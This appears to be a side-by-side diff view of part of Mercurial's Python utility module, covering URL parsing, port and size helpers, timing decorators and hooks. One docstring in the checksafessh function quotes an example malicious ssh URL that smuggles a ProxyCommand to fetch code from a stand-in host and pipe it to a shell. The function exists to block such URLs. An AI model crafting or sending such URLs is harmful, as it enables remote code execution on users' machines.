2732 patterns = '|'.join(mapping.keys())
2732 patterns = '|'.join(mapping.keys())
2733 if escape_prefix:
2733 if escape_prefix:
2734 patterns += '|' + prefix
2734 patterns += '|' + prefix
2735 if len(prefix) > 1:
2735 if len(prefix) > 1:
2736 prefix_char = prefix[1:]
2736 prefix_char = prefix[1:]
2737 else:
2737 else:
2738 prefix_char = prefix
2738 prefix_char = prefix
2739 mapping[prefix_char] = prefix_char
2739 mapping[prefix_char] = prefix_char
2740 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2740 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2741 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2741 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2742
2742
2743 def getport(port):
2743 def getport(port):
2744 """Return the port for a given network service.
2744 """Return the port for a given network service.
2745
2745
2746 If port is an integer, it's returned as is. If it's a string, it's
2746 If port is an integer, it's returned as is. If it's a string, it's
2747 looked up using socket.getservbyname(). If there's no matching
2747 looked up using socket.getservbyname(). If there's no matching
2748 service, error.Abort is raised.
2748 service, error.Abort is raised.
2749 """
2749 """
2750 try:
2750 try:
2751 return int(port)
2751 return int(port)
2752 except ValueError:
2752 except ValueError:
2753 pass
2753 pass
2754
2754
2755 try:
2755 try:
2756 return socket.getservbyname(pycompat.sysstr(port))
2756 return socket.getservbyname(pycompat.sysstr(port))
2757 except socket.error:
2757 except socket.error:
2758 raise Abort(_("no port number associated with service '%s'") % port)
2758 raise Abort(_("no port number associated with service '%s'") % port)
2759
2759
2760 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2760 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2761 '0': False, 'no': False, 'false': False, 'off': False,
2761 '0': False, 'no': False, 'false': False, 'off': False,
2762 'never': False}
2762 'never': False}
2763
2763
2764 def parsebool(s):
2764 def parsebool(s):
2765 """Parse s into a boolean.
2765 """Parse s into a boolean.
2766
2766
2767 If s is not a valid boolean, returns None.
2767 If s is not a valid boolean, returns None.
2768 """
2768 """
2769 return _booleans.get(s.lower(), None)
2769 return _booleans.get(s.lower(), None)
2770
2770
2771 _hextochr = dict((a + b, chr(int(a + b, 16)))
2771 _hextochr = dict((a + b, chr(int(a + b, 16)))
2772 for a in string.hexdigits for b in string.hexdigits)
2772 for a in string.hexdigits for b in string.hexdigits)
2773
2773
2774 class url(object):
2774 class url(object):
2775 r"""Reliable URL parser.
2775 r"""Reliable URL parser.
2776
2776
2777 This parses URLs and provides attributes for the following
2777 This parses URLs and provides attributes for the following
2778 components:
2778 components:
2779
2779
2780 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2780 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2781
2781
2782 Missing components are set to None. The only exception is
2782 Missing components are set to None. The only exception is
2783 fragment, which is set to '' if present but empty.
2783 fragment, which is set to '' if present but empty.
2784
2784
2785 If parsefragment is False, fragment is included in query. If
2785 If parsefragment is False, fragment is included in query. If
2786 parsequery is False, query is included in path. If both are
2786 parsequery is False, query is included in path. If both are
2787 False, both fragment and query are included in path.
2787 False, both fragment and query are included in path.
2788
2788
2789 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2789 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2790
2790
2791 Note that for backward compatibility reasons, bundle URLs do not
2791 Note that for backward compatibility reasons, bundle URLs do not
2792 take host names. That means 'bundle://../' has a path of '../'.
2792 take host names. That means 'bundle://../' has a path of '../'.
2793
2793
2794 Examples:
2794 Examples:
2795
2795
2796 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2796 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2797 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2797 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2798 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2798 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2799 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2799 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2800 >>> url(b'file:///home/joe/repo')
2800 >>> url(b'file:///home/joe/repo')
2801 <url scheme: 'file', path: '/home/joe/repo'>
2801 <url scheme: 'file', path: '/home/joe/repo'>
2802 >>> url(b'file:///c:/temp/foo/')
2802 >>> url(b'file:///c:/temp/foo/')
2803 <url scheme: 'file', path: 'c:/temp/foo/'>
2803 <url scheme: 'file', path: 'c:/temp/foo/'>
2804 >>> url(b'bundle:foo')
2804 >>> url(b'bundle:foo')
2805 <url scheme: 'bundle', path: 'foo'>
2805 <url scheme: 'bundle', path: 'foo'>
2806 >>> url(b'bundle://../foo')
2806 >>> url(b'bundle://../foo')
2807 <url scheme: 'bundle', path: '../foo'>
2807 <url scheme: 'bundle', path: '../foo'>
2808 >>> url(br'c:\foo\bar')
2808 >>> url(br'c:\foo\bar')
2809 <url path: 'c:\\foo\\bar'>
2809 <url path: 'c:\\foo\\bar'>
2810 >>> url(br'\\blah\blah\blah')
2810 >>> url(br'\\blah\blah\blah')
2811 <url path: '\\\\blah\\blah\\blah'>
2811 <url path: '\\\\blah\\blah\\blah'>
2812 >>> url(br'\\blah\blah\blah#baz')
2812 >>> url(br'\\blah\blah\blah#baz')
2813 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2813 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2814 >>> url(br'file:///C:\users\me')
2814 >>> url(br'file:///C:\users\me')
2815 <url scheme: 'file', path: 'C:\\users\\me'>
2815 <url scheme: 'file', path: 'C:\\users\\me'>
2816
2816
2817 Authentication credentials:
2817 Authentication credentials:
2818
2818
2819 >>> url(b'ssh://joe:xyz@x/repo')
2819 >>> url(b'ssh://joe:xyz@x/repo')
2820 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2820 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2821 >>> url(b'ssh://joe@x/repo')
2821 >>> url(b'ssh://joe@x/repo')
2822 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2822 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2823
2823
2824 Query strings and fragments:
2824 Query strings and fragments:
2825
2825
2826 >>> url(b'http://host/a?b#c')
2826 >>> url(b'http://host/a?b#c')
2827 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2827 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2828 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2828 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2829 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2829 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2830
2830
2831 Empty path:
2831 Empty path:
2832
2832
2833 >>> url(b'')
2833 >>> url(b'')
2834 <url path: ''>
2834 <url path: ''>
2835 >>> url(b'#a')
2835 >>> url(b'#a')
2836 <url path: '', fragment: 'a'>
2836 <url path: '', fragment: 'a'>
2837 >>> url(b'http://host/')
2837 >>> url(b'http://host/')
2838 <url scheme: 'http', host: 'host', path: ''>
2838 <url scheme: 'http', host: 'host', path: ''>
2839 >>> url(b'http://host/#a')
2839 >>> url(b'http://host/#a')
2840 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2840 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2841
2841
2842 Only scheme:
2842 Only scheme:
2843
2843
2844 >>> url(b'http:')
2844 >>> url(b'http:')
2845 <url scheme: 'http'>
2845 <url scheme: 'http'>
2846 """
2846 """
2847
2847
2848 _safechars = "!~*'()+"
2848 _safechars = "!~*'()+"
2849 _safepchars = "/!~*'()+:\\"
2849 _safepchars = "/!~*'()+:\\"
2850 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2850 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2851
2851
2852 def __init__(self, path, parsequery=True, parsefragment=True):
2852 def __init__(self, path, parsequery=True, parsefragment=True):
2853 # We slowly chomp away at path until we have only the path left
2853 # We slowly chomp away at path until we have only the path left
2854 self.scheme = self.user = self.passwd = self.host = None
2854 self.scheme = self.user = self.passwd = self.host = None
2855 self.port = self.path = self.query = self.fragment = None
2855 self.port = self.path = self.query = self.fragment = None
2856 self._localpath = True
2856 self._localpath = True
2857 self._hostport = ''
2857 self._hostport = ''
2858 self._origpath = path
2858 self._origpath = path
2859
2859
2860 if parsefragment and '#' in path:
2860 if parsefragment and '#' in path:
2861 path, self.fragment = path.split('#', 1)
2861 path, self.fragment = path.split('#', 1)
2862
2862
2863 # special case for Windows drive letters and UNC paths
2863 # special case for Windows drive letters and UNC paths
2864 if hasdriveletter(path) or path.startswith('\\\\'):
2864 if hasdriveletter(path) or path.startswith('\\\\'):
2865 self.path = path
2865 self.path = path
2866 return
2866 return
2867
2867
2868 # For compatibility reasons, we can't handle bundle paths as
2868 # For compatibility reasons, we can't handle bundle paths as
2869 # normal URLS
2869 # normal URLS
2870 if path.startswith('bundle:'):
2870 if path.startswith('bundle:'):
2871 self.scheme = 'bundle'
2871 self.scheme = 'bundle'
2872 path = path[7:]
2872 path = path[7:]
2873 if path.startswith('//'):
2873 if path.startswith('//'):
2874 path = path[2:]
2874 path = path[2:]
2875 self.path = path
2875 self.path = path
2876 return
2876 return
2877
2877
2878 if self._matchscheme(path):
2878 if self._matchscheme(path):
2879 parts = path.split(':', 1)
2879 parts = path.split(':', 1)
2880 if parts[0]:
2880 if parts[0]:
2881 self.scheme, path = parts
2881 self.scheme, path = parts
2882 self._localpath = False
2882 self._localpath = False
2883
2883
2884 if not path:
2884 if not path:
2885 path = None
2885 path = None
2886 if self._localpath:
2886 if self._localpath:
2887 self.path = ''
2887 self.path = ''
2888 return
2888 return
2889 else:
2889 else:
2890 if self._localpath:
2890 if self._localpath:
2891 self.path = path
2891 self.path = path
2892 return
2892 return
2893
2893
2894 if parsequery and '?' in path:
2894 if parsequery and '?' in path:
2895 path, self.query = path.split('?', 1)
2895 path, self.query = path.split('?', 1)
2896 if not path:
2896 if not path:
2897 path = None
2897 path = None
2898 if not self.query:
2898 if not self.query:
2899 self.query = None
2899 self.query = None
2900
2900
2901 # // is required to specify a host/authority
2901 # // is required to specify a host/authority
2902 if path and path.startswith('//'):
2902 if path and path.startswith('//'):
2903 parts = path[2:].split('/', 1)
2903 parts = path[2:].split('/', 1)
2904 if len(parts) > 1:
2904 if len(parts) > 1:
2905 self.host, path = parts
2905 self.host, path = parts
2906 else:
2906 else:
2907 self.host = parts[0]
2907 self.host = parts[0]
2908 path = None
2908 path = None
2909 if not self.host:
2909 if not self.host:
2910 self.host = None
2910 self.host = None
2911 # path of file:///d is /d
2911 # path of file:///d is /d
2912 # path of file:///d:/ is d:/, not /d:/
2912 # path of file:///d:/ is d:/, not /d:/
2913 if path and not hasdriveletter(path):
2913 if path and not hasdriveletter(path):
2914 path = '/' + path
2914 path = '/' + path
2915
2915
2916 if self.host and '@' in self.host:
2916 if self.host and '@' in self.host:
2917 self.user, self.host = self.host.rsplit('@', 1)
2917 self.user, self.host = self.host.rsplit('@', 1)
2918 if ':' in self.user:
2918 if ':' in self.user:
2919 self.user, self.passwd = self.user.split(':', 1)
2919 self.user, self.passwd = self.user.split(':', 1)
2920 if not self.host:
2920 if not self.host:
2921 self.host = None
2921 self.host = None
2922
2922
2923 # Don't split on colons in IPv6 addresses without ports
2923 # Don't split on colons in IPv6 addresses without ports
2924 if (self.host and ':' in self.host and
2924 if (self.host and ':' in self.host and
2925 not (self.host.startswith('[') and self.host.endswith(']'))):
2925 not (self.host.startswith('[') and self.host.endswith(']'))):
2926 self._hostport = self.host
2926 self._hostport = self.host
2927 self.host, self.port = self.host.rsplit(':', 1)
2927 self.host, self.port = self.host.rsplit(':', 1)
2928 if not self.host:
2928 if not self.host:
2929 self.host = None
2929 self.host = None
2930
2930
2931 if (self.host and self.scheme == 'file' and
2931 if (self.host and self.scheme == 'file' and
2932 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2932 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2933 raise Abort(_('file:// URLs can only refer to localhost'))
2933 raise Abort(_('file:// URLs can only refer to localhost'))
2934
2934
2935 self.path = path
2935 self.path = path
2936
2936
2937 # leave the query string escaped
2937 # leave the query string escaped
2938 for a in ('user', 'passwd', 'host', 'port',
2938 for a in ('user', 'passwd', 'host', 'port',
2939 'path', 'fragment'):
2939 'path', 'fragment'):
2940 v = getattr(self, a)
2940 v = getattr(self, a)
2941 if v is not None:
2941 if v is not None:
2942 setattr(self, a, urlreq.unquote(v))
2942 setattr(self, a, urlreq.unquote(v))
2943
2943
2944 @encoding.strmethod
2944 @encoding.strmethod
2945 def __repr__(self):
2945 def __repr__(self):
2946 attrs = []
2946 attrs = []
2947 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2947 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2948 'query', 'fragment'):
2948 'query', 'fragment'):
2949 v = getattr(self, a)
2949 v = getattr(self, a)
2950 if v is not None:
2950 if v is not None:
2951 attrs.append('%s: %r' % (a, v))
2951 attrs.append('%s: %r' % (a, v))
2952 return '<url %s>' % ', '.join(attrs)
2952 return '<url %s>' % ', '.join(attrs)
2953
2953
2954 def __bytes__(self):
2954 def __bytes__(self):
2955 r"""Join the URL's components back into a URL string.
2955 r"""Join the URL's components back into a URL string.
2956
2956
2957 Examples:
2957 Examples:
2958
2958
2959 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2959 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2960 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2960 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2961 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2961 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2962 'http://user:pw@host:80/?foo=bar&baz=42'
2962 'http://user:pw@host:80/?foo=bar&baz=42'
2963 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2963 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2964 'http://user:pw@host:80/?foo=bar%3dbaz'
2964 'http://user:pw@host:80/?foo=bar%3dbaz'
2965 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2965 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2966 'ssh://user:pw@[::1]:2200//home/joe#'
2966 'ssh://user:pw@[::1]:2200//home/joe#'
2967 >>> bytes(url(b'http://localhost:80//'))
2967 >>> bytes(url(b'http://localhost:80//'))
2968 'http://localhost:80//'
2968 'http://localhost:80//'
2969 >>> bytes(url(b'http://localhost:80/'))
2969 >>> bytes(url(b'http://localhost:80/'))
2970 'http://localhost:80/'
2970 'http://localhost:80/'
2971 >>> bytes(url(b'http://localhost:80'))
2971 >>> bytes(url(b'http://localhost:80'))
2972 'http://localhost:80/'
2972 'http://localhost:80/'
2973 >>> bytes(url(b'bundle:foo'))
2973 >>> bytes(url(b'bundle:foo'))
2974 'bundle:foo'
2974 'bundle:foo'
2975 >>> bytes(url(b'bundle://../foo'))
2975 >>> bytes(url(b'bundle://../foo'))
2976 'bundle:../foo'
2976 'bundle:../foo'
2977 >>> bytes(url(b'path'))
2977 >>> bytes(url(b'path'))
2978 'path'
2978 'path'
2979 >>> bytes(url(b'file:///tmp/foo/bar'))
2979 >>> bytes(url(b'file:///tmp/foo/bar'))
2980 'file:///tmp/foo/bar'
2980 'file:///tmp/foo/bar'
2981 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2981 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2982 'file:///c:/tmp/foo/bar'
2982 'file:///c:/tmp/foo/bar'
2983 >>> print(url(br'bundle:foo\bar'))
2983 >>> print(url(br'bundle:foo\bar'))
2984 bundle:foo\bar
2984 bundle:foo\bar
2985 >>> print(url(br'file:///D:\data\hg'))
2985 >>> print(url(br'file:///D:\data\hg'))
2986 file:///D:\data\hg
2986 file:///D:\data\hg
2987 """
2987 """
2988 if self._localpath:
2988 if self._localpath:
2989 s = self.path
2989 s = self.path
2990 if self.scheme == 'bundle':
2990 if self.scheme == 'bundle':
2991 s = 'bundle:' + s
2991 s = 'bundle:' + s
2992 if self.fragment:
2992 if self.fragment:
2993 s += '#' + self.fragment
2993 s += '#' + self.fragment
2994 return s
2994 return s
2995
2995
2996 s = self.scheme + ':'
2996 s = self.scheme + ':'
2997 if self.user or self.passwd or self.host:
2997 if self.user or self.passwd or self.host:
2998 s += '//'
2998 s += '//'
2999 elif self.scheme and (not self.path or self.path.startswith('/')
2999 elif self.scheme and (not self.path or self.path.startswith('/')
3000 or hasdriveletter(self.path)):
3000 or hasdriveletter(self.path)):
3001 s += '//'
3001 s += '//'
3002 if hasdriveletter(self.path):
3002 if hasdriveletter(self.path):
3003 s += '/'
3003 s += '/'
3004 if self.user:
3004 if self.user:
3005 s += urlreq.quote(self.user, safe=self._safechars)
3005 s += urlreq.quote(self.user, safe=self._safechars)
3006 if self.passwd:
3006 if self.passwd:
3007 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3007 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3008 if self.user or self.passwd:
3008 if self.user or self.passwd:
3009 s += '@'
3009 s += '@'
3010 if self.host:
3010 if self.host:
3011 if not (self.host.startswith('[') and self.host.endswith(']')):
3011 if not (self.host.startswith('[') and self.host.endswith(']')):
3012 s += urlreq.quote(self.host)
3012 s += urlreq.quote(self.host)
3013 else:
3013 else:
3014 s += self.host
3014 s += self.host
3015 if self.port:
3015 if self.port:
3016 s += ':' + urlreq.quote(self.port)
3016 s += ':' + urlreq.quote(self.port)
3017 if self.host:
3017 if self.host:
3018 s += '/'
3018 s += '/'
3019 if self.path:
3019 if self.path:
3020 # TODO: similar to the query string, we should not unescape the
3020 # TODO: similar to the query string, we should not unescape the
3021 # path when we store it, the path might contain '%2f' = '/',
3021 # path when we store it, the path might contain '%2f' = '/',
3022 # which we should *not* escape.
3022 # which we should *not* escape.
3023 s += urlreq.quote(self.path, safe=self._safepchars)
3023 s += urlreq.quote(self.path, safe=self._safepchars)
3024 if self.query:
3024 if self.query:
3025 # we store the query in escaped form.
3025 # we store the query in escaped form.
3026 s += '?' + self.query
3026 s += '?' + self.query
3027 if self.fragment is not None:
3027 if self.fragment is not None:
3028 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3028 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3029 return s
3029 return s
3030
3030
3031 __str__ = encoding.strmethod(__bytes__)
3031 __str__ = encoding.strmethod(__bytes__)
3032
3032
3033 def authinfo(self):
3033 def authinfo(self):
3034 user, passwd = self.user, self.passwd
3034 user, passwd = self.user, self.passwd
3035 try:
3035 try:
3036 self.user, self.passwd = None, None
3036 self.user, self.passwd = None, None
3037 s = bytes(self)
3037 s = bytes(self)
3038 finally:
3038 finally:
3039 self.user, self.passwd = user, passwd
3039 self.user, self.passwd = user, passwd
3040 if not self.user:
3040 if not self.user:
3041 return (s, None)
3041 return (s, None)
3042 # authinfo[1] is passed to urllib2 password manager, and its
3042 # authinfo[1] is passed to urllib2 password manager, and its
3043 # URIs must not contain credentials. The host is passed in the
3043 # URIs must not contain credentials. The host is passed in the
3044 # URIs list because Python < 2.4.3 uses only that to search for
3044 # URIs list because Python < 2.4.3 uses only that to search for
3045 # a password.
3045 # a password.
3046 return (s, (None, (s, self.host),
3046 return (s, (None, (s, self.host),
3047 self.user, self.passwd or ''))
3047 self.user, self.passwd or ''))
3048
3048
3049 def isabs(self):
3049 def isabs(self):
3050 if self.scheme and self.scheme != 'file':
3050 if self.scheme and self.scheme != 'file':
3051 return True # remote URL
3051 return True # remote URL
3052 if hasdriveletter(self.path):
3052 if hasdriveletter(self.path):
3053 return True # absolute for our purposes - can't be joined()
3053 return True # absolute for our purposes - can't be joined()
3054 if self.path.startswith(br'\\'):
3054 if self.path.startswith(br'\\'):
3055 return True # Windows UNC path
3055 return True # Windows UNC path
3056 if self.path.startswith('/'):
3056 if self.path.startswith('/'):
3057 return True # POSIX-style
3057 return True # POSIX-style
3058 return False
3058 return False
3059
3059
3060 def localpath(self):
3060 def localpath(self):
3061 if self.scheme == 'file' or self.scheme == 'bundle':
3061 if self.scheme == 'file' or self.scheme == 'bundle':
3062 path = self.path or '/'
3062 path = self.path or '/'
3063 # For Windows, we need to promote hosts containing drive
3063 # For Windows, we need to promote hosts containing drive
3064 # letters to paths with drive letters.
3064 # letters to paths with drive letters.
3065 if hasdriveletter(self._hostport):
3065 if hasdriveletter(self._hostport):
3066 path = self._hostport + '/' + self.path
3066 path = self._hostport + '/' + self.path
3067 elif (self.host is not None and self.path
3067 elif (self.host is not None and self.path
3068 and not hasdriveletter(path)):
3068 and not hasdriveletter(path)):
3069 path = '/' + path
3069 path = '/' + path
3070 return path
3070 return path
3071 return self._origpath
3071 return self._origpath
3072
3072
3073 def islocal(self):
3073 def islocal(self):
3074 '''whether localpath will return something that posixfile can open'''
3074 '''whether localpath will return something that posixfile can open'''
3075 return (not self.scheme or self.scheme == 'file'
3075 return (not self.scheme or self.scheme == 'file'
3076 or self.scheme == 'bundle')
3076 or self.scheme == 'bundle')
3077
3077
3078 def hasscheme(path):
3078 def hasscheme(path):
3079 return bool(url(path).scheme)
3079 return bool(url(path).scheme)
3080
3080
3081 def hasdriveletter(path):
3081 def hasdriveletter(path):
3082 return path and path[1:2] == ':' and path[0:1].isalpha()
3082 return path and path[1:2] == ':' and path[0:1].isalpha()
3083
3083
3084 def urllocalpath(path):
3084 def urllocalpath(path):
3085 return url(path, parsequery=False, parsefragment=False).localpath()
3085 return url(path, parsequery=False, parsefragment=False).localpath()
3086
3086
3087 def checksafessh(path):
3087 def checksafessh(path):
3088 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3088 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3089
3089
3090 This is a sanity check for ssh urls. ssh will parse the first item as
3090 This is a sanity check for ssh urls. ssh will parse the first item as
3091 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3091 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3092 Let's prevent these potentially exploited urls entirely and warn the
3092 Let's prevent these potentially exploited urls entirely and warn the
3093 user.
3093 user.
3094
3094
3095 Raises an error.Abort when the url is unsafe.
3095 Raises an error.Abort when the url is unsafe.
3096 """
3096 """
3097 path = urlreq.unquote(path)
3097 path = urlreq.unquote(path)
3098 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3098 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3099 raise error.Abort(_('potentially unsafe url: %r') %
3099 raise error.Abort(_('potentially unsafe url: %r') %
3100 (path,))
3100 (pycompat.bytestr(path),))
3101
3101
3102 def hidepassword(u):
3102 def hidepassword(u):
3103 '''hide user credential in a url string'''
3103 '''hide user credential in a url string'''
3104 u = url(u)
3104 u = url(u)
3105 if u.passwd:
3105 if u.passwd:
3106 u.passwd = '***'
3106 u.passwd = '***'
3107 return bytes(u)
3107 return bytes(u)
3108
3108
3109 def removeauth(u):
3109 def removeauth(u):
3110 '''remove all authentication information from a url string'''
3110 '''remove all authentication information from a url string'''
3111 u = url(u)
3111 u = url(u)
3112 u.user = u.passwd = None
3112 u.user = u.passwd = None
3113 return str(u)
3113 return str(u)
3114
3114
3115 timecount = unitcountfn(
3115 timecount = unitcountfn(
3116 (1, 1e3, _('%.0f s')),
3116 (1, 1e3, _('%.0f s')),
3117 (100, 1, _('%.1f s')),
3117 (100, 1, _('%.1f s')),
3118 (10, 1, _('%.2f s')),
3118 (10, 1, _('%.2f s')),
3119 (1, 1, _('%.3f s')),
3119 (1, 1, _('%.3f s')),
3120 (100, 0.001, _('%.1f ms')),
3120 (100, 0.001, _('%.1f ms')),
3121 (10, 0.001, _('%.2f ms')),
3121 (10, 0.001, _('%.2f ms')),
3122 (1, 0.001, _('%.3f ms')),
3122 (1, 0.001, _('%.3f ms')),
3123 (100, 0.000001, _('%.1f us')),
3123 (100, 0.000001, _('%.1f us')),
3124 (10, 0.000001, _('%.2f us')),
3124 (10, 0.000001, _('%.2f us')),
3125 (1, 0.000001, _('%.3f us')),
3125 (1, 0.000001, _('%.3f us')),
3126 (100, 0.000000001, _('%.1f ns')),
3126 (100, 0.000000001, _('%.1f ns')),
3127 (10, 0.000000001, _('%.2f ns')),
3127 (10, 0.000000001, _('%.2f ns')),
3128 (1, 0.000000001, _('%.3f ns')),
3128 (1, 0.000000001, _('%.3f ns')),
3129 )
3129 )
3130
3130
3131 _timenesting = [0]
3131 _timenesting = [0]
3132
3132
3133 def timed(func):
3133 def timed(func):
3134 '''Report the execution time of a function call to stderr.
3134 '''Report the execution time of a function call to stderr.
3135
3135
3136 During development, use as a decorator when you need to measure
3136 During development, use as a decorator when you need to measure
3137 the cost of a function, e.g. as follows:
3137 the cost of a function, e.g. as follows:
3138
3138
3139 @util.timed
3139 @util.timed
3140 def foo(a, b, c):
3140 def foo(a, b, c):
3141 pass
3141 pass
3142 '''
3142 '''
3143
3143
3144 def wrapper(*args, **kwargs):
3144 def wrapper(*args, **kwargs):
3145 start = timer()
3145 start = timer()
3146 indent = 2
3146 indent = 2
3147 _timenesting[0] += indent
3147 _timenesting[0] += indent
3148 try:
3148 try:
3149 return func(*args, **kwargs)
3149 return func(*args, **kwargs)
3150 finally:
3150 finally:
3151 elapsed = timer() - start
3151 elapsed = timer() - start
3152 _timenesting[0] -= indent
3152 _timenesting[0] -= indent
3153 stderr.write('%s%s: %s\n' %
3153 stderr.write('%s%s: %s\n' %
3154 (' ' * _timenesting[0], func.__name__,
3154 (' ' * _timenesting[0], func.__name__,
3155 timecount(elapsed)))
3155 timecount(elapsed)))
3156 return wrapper
3156 return wrapper
3157
3157
3158 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3158 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3159 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3159 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3160
3160
3161 def sizetoint(s):
3161 def sizetoint(s):
3162 '''Convert a space specifier to a byte count.
3162 '''Convert a space specifier to a byte count.
3163
3163
3164 >>> sizetoint(b'30')
3164 >>> sizetoint(b'30')
3165 30
3165 30
3166 >>> sizetoint(b'2.2kb')
3166 >>> sizetoint(b'2.2kb')
3167 2252
3167 2252
3168 >>> sizetoint(b'6M')
3168 >>> sizetoint(b'6M')
3169 6291456
3169 6291456
3170 '''
3170 '''
3171 t = s.strip().lower()
3171 t = s.strip().lower()
3172 try:
3172 try:
3173 for k, u in _sizeunits:
3173 for k, u in _sizeunits:
3174 if t.endswith(k):
3174 if t.endswith(k):
3175 return int(float(t[:-len(k)]) * u)
3175 return int(float(t[:-len(k)]) * u)
3176 return int(t)
3176 return int(t)
3177 except ValueError:
3177 except ValueError:
3178 raise error.ParseError(_("couldn't parse size: %s") % s)
3178 raise error.ParseError(_("couldn't parse size: %s") % s)
3179
3179
3180 class hooks(object):
3180 class hooks(object):
3181 '''A collection of hook functions that can be used to extend a
3181 '''A collection of hook functions that can be used to extend a
3182 function's behavior. Hooks are called in lexicographic order,
3182 function's behavior. Hooks are called in lexicographic order,
3183 based on the names of their sources.'''
3183 based on the names of their sources.'''
3184
3184
3185 def __init__(self):
3185 def __init__(self):
3186 self._hooks = []
3186 self._hooks = []
3187
3187
3188 def add(self, source, hook):
3188 def add(self, source, hook):
3189 self._hooks.append((source, hook))
3189 self._hooks.append((source, hook))
3190
3190
3191 def __call__(self, *args):
3191 def __call__(self, *args):
3192 self._hooks.sort(key=lambda x: x[0])
3192 self._hooks.sort(key=lambda x: x[0])
3193 results = []
3193 results = []
3194 for source, hook in self._hooks:
3194 for source, hook in self._hooks:
3195 results.append(hook(*args))
3195 results.append(hook(*args))
3196 return results
3196 return results
3197
3197
3198 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3198 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3199 '''Yields lines for a nicely formatted stacktrace.
3199 '''Yields lines for a nicely formatted stacktrace.
3200 Skips the 'skip' last entries, then return the last 'depth' entries.
3200 Skips the 'skip' last entries, then return the last 'depth' entries.
3201 Each file+linenumber is formatted according to fileline.
3201 Each file+linenumber is formatted according to fileline.
3202 Each line is formatted according to line.
3202 Each line is formatted according to line.
3203 If line is None, it yields:
3203 If line is None, it yields:
3204 length of longest filepath+line number,
3204 length of longest filepath+line number,
3205 filepath+linenumber,
3205 filepath+linenumber,
3206 function
3206 function
3207
3207
3208 Not be used in production code but very convenient while developing.
3208 Not be used in production code but very convenient while developing.
3209 '''
3209 '''
3210 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3210 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3211 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3211 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3212 ][-depth:]
3212 ][-depth:]
3213 if entries:
3213 if entries:
3214 fnmax = max(len(entry[0]) for entry in entries)
3214 fnmax = max(len(entry[0]) for entry in entries)
3215 for fnln, func in entries:
3215 for fnln, func in entries:
3216 if line is None:
3216 if line is None:
3217 yield (fnmax, fnln, func)
